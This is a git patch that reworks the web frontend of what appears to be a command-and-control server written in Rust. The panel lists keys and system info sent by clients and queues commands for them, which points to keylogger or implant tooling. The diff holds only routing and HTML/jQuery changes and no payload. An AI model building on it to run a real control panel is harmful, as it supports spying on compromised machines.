From df29600616a9beeef825d4b9b0bd97bbd18e5c40 Mon Sep 17 00:00:00 2001
From: "leo.muff" <leomuffmail@gmail.com>
Date: Thu, 26 Oct 2023 12:08:26 +0200
Subject: [PATCH] more frontend :(

---
 Cargo.lock                      |  1 -
 c2/Cargo.toml                   |  2 +-
 c2/src/routes.rs                | 13 ++++----
 c2/src/server.rs                |  9 -----
 c2/templates/client.html.tera   | 10 +++---
 c2/templates/commands.html.tera | 59 ++++++++++++++++++++++++++++-----
 6 files changed, 64 insertions(+), 30 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 8f8d47c..e8a39be 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -206,7 +206,6 @@ dependencies = [
  "rocket_sync_db_pools",
  "serde",
  "sharedlib",
- "tera",
 ]
 
 [[package]]
diff --git a/c2/Cargo.toml b/c2/Cargo.toml
index 6c35261..cd041aa 100644
--- a/c2/Cargo.toml
+++ b/c2/Cargo.toml
@@ -9,7 +9,7 @@ edition = "2021"
 sharedlib = {path= "../sharedlib"}
 rocket = { version = "=0.5.0-rc.3", features = ["json"] }
 serde = { version = "1.0", features = ["derive"] }
-tera = "1.0"
+
 
 [dependencies.rocket_sync_db_pools]
 version = "=0.1.0-rc.3"
diff --git a/c2/src/routes.rs b/c2/src/routes.rs
index 058cf52..6e34bea 100644
--- a/c2/src/routes.rs
+++ b/c2/src/routes.rs
@@ -1,10 +1,9 @@
 use rocket::form::Form;
-use rocket::response::Redirect;
-use rocket::{get, post, uri};
+use rocket::{get, post};
 use rocket::{State, http::Status, serde::json::Json, response::status};
 use std::sync::Mutex;
 use crate::backup::DataFile;
-use crate::server::{DbConnection ,  ApiClient, CommandForm, decrypt_bytes, ClientUri};
+use crate::server::{DbConnection ,  ApiClient, CommandForm, decrypt_bytes};
 use sharedlib::models::{ApiId, Keys, KeysData, SysInfoData, Command, CommandModel, EncryptedResult};
 use rocket_dyn_templates::{Template, context};
 use crate::db::*;
@@ -78,11 +77,11 @@ pub async fn post_systeminfo(db_conn:DbConnection, auth:ApiClient, sysinfo: Json
 }
 
 #[post("/newcommand", data="<command>")]
-pub async fn post_new_command(db_conn:DbConnection, command : Form<CommandForm>, request_uri: ClientUri) -> Result<Redirect,status::Custom<String>> {
+pub async fn post_new_command(db_conn:DbConnection, command : Form<CommandForm>) -> Result<(),status::Custom<String>> {
 
     add_command(&db_conn, command.into_inner()).await?;
 
-    Ok(Redirect::to(request_uri.0))
+    Ok(())
 } 
 
 #[get("/newcommand/<id>")]
@@ -109,7 +108,7 @@ pub async fn post_command(db_conn:DbConnection, mut result: Json<EncryptedResult
 }
 
 #[get("/deletecommand/<id>")]
-pub async fn get_delete_command(db_conn:DbConnection, id:i32, request_uri: ClientUri) -> Result<Redirect,status::Custom<String>> {
+pub async fn get_delete_command(db_conn:DbConnection, id:i32) -> Result<(),status::Custom<String>> {
     delete_command_by_id(&db_conn, id).await?;
-    Ok(Redirect::to(request_uri.0))
+    Ok(())
 }
\ No newline at end of file
diff --git a/c2/src/server.rs b/c2/src/server.rs
index 04f3e10..be1a139 100644
--- a/c2/src/server.rs
+++ b/c2/src/server.rs
@@ -15,15 +15,6 @@ pub struct ApiClient{
     pub socketaddr:SocketAddr
 }
 
-pub struct ClientUri(pub String);
-
-#[rocket::async_trait]
-impl<'r> FromRequest<'r> for ClientUri {
-    type Error = ApiAuthError;
-    async fn  from_request(req: &'r Request<'_>) -> Outcome<Self, Self::Error> {
-        Outcome::Success(ClientUri(req.uri().path().to_string()))
-    }
-}
 
 #[derive(Debug)]
 pub enum ApiAuthError {
diff --git a/c2/templates/client.html.tera b/c2/templates/client.html.tera
index f41ab6f..69f2c35 100644
--- a/c2/templates/client.html.tera
+++ b/c2/templates/client.html.tera
@@ -40,10 +40,12 @@
         </div>
       </div>
     </div>
-    <h3 class="mt-5" style="text-align:center">Data sent</h3>
-    <button class="btn btn-primary" type="button" data-bs-toggle="collapse" data-bs-target="#keys" aria-expanded="false" aria-controls="keys">
-      Show keys
-    </button>
+    <div class="mt-4" style="text-align:center">
+      <h3 class="mt-5">Data sent</h3>
+      <button class="btn btn-outline-dark mb-5" type="button" data-bs-toggle="collapse" data-bs-target="#keys" aria-expanded="false" aria-controls="keys">
+        Show keys
+      </button>
+    </div>
     <div class="w-75 mx-auto mt-2 collapse" id="keys">
       <table class="table" id="data">
         <thead>
diff --git a/c2/templates/commands.html.tera b/c2/templates/commands.html.tera
index 7a5fd2b..602eb3f 100644
--- a/c2/templates/commands.html.tera
+++ b/c2/templates/commands.html.tera
@@ -1,7 +1,7 @@
 {% extends "base" %}
 {% block content %}
-<h3> Send commands </h3>
-<form action="/newcommand" method="post">
+<h3 class="mt-4" style="text-align:center"> Send commands </h3>
+<form id="form" action="#" method="post" class="mt-3" style="text-align:center">
     <label for="command">Choose a command :</label>
     <select id="command" name="command">
         {% for c in commands %}
@@ -10,15 +10,19 @@
     </select>
     <input type="text" placeholder="Option" name=option id="option" />
     <input name="client_id" type="hidden" value={{id}} />
-    <input type="submit" /> 
+    <input type="submit" id="submit" /> 
+    <div id="errorMsg" style="display:none;" class="alert alert-danger w-25 mx-auto mt-3" role="alert">
+        Error sending command
+    </div>
 </form>
-<h3> Pending commands </h3>
-<table class="table">
+<h3 class="mt-4" style="text-align:center"> Pending commands </h3>
+<table class="table w-50 border mx-auto mt-3">
     <thead>
         <tr>
             <th scope="col">Id</th>
             <th scope="col">Command</th>
             <th scope="col">Option</th>
+            <th></th>
         </tr>
     </thead>
     <tbody>
@@ -27,13 +31,17 @@
                 <th scope="row">{{loop.index}}</th>
                 <td class="mw-20">{{commands[command.command]}}</td>
                 <td>{{command.option}}</td>
-                <td><a class="m-2 mb-4 text-center btn btn-secondary active" href="/deletecommand/{{command.id}}"> Delete Command </a></td>
+                <td>
+                    <div style="text-align:right">
+                        <button class="m-2 mb-4 text-center btn btn-secondary active" value="{{command.id}}" id="delete"> Delete Command </button>
+                    </div>
+                </td>
             </tr>
         {% endfor %}
     </tbody>
 </table>
-<h3> Commands results </h3>
-<table class="table">
+<h3 class="mt-4" style="text-align:center"> Commands results </h3>
+<table class="table w-75 border mx-auto mt-3">
     <thead>
         <tr>
             <th scope="col">Id</th>
@@ -52,3 +60,38 @@
     </tbody>
 </table>
 {% endblock content %}
+{% block scripts %}
+  <script src="/static/jquery/jquery-3.7.0.min.js"></script>
+  <script src="/static/bootstrap/js/bootstrap.min.js" crossorigin="anonymous"></script>
+
+  <script>
+ 
+    $(document).ready(function(){
+        $('#form').submit(function(e){
+            e.preventDefault();
+            $.ajax({
+                url: '/newcommand',
+                type : 'post',
+                data : $('#form').serialize(),
+                success : function(){
+                    location.reload(true);
+                },
+                error : function(){
+                    $("#errorMsg").show();
+                }
+            });
+        });
+
+        $('#delete').click(function(e){
+            e.preventDefault();
+            $.ajax({
+                url: '/deletecommand/'+ document.querySelector('#delete').value,
+                type: 'get',
+                success:function(){
+                    location.reload(true);
+                }
+            });
+        });
+    });
+  </script>
+{% endblock scripts %}
-- 
GitLab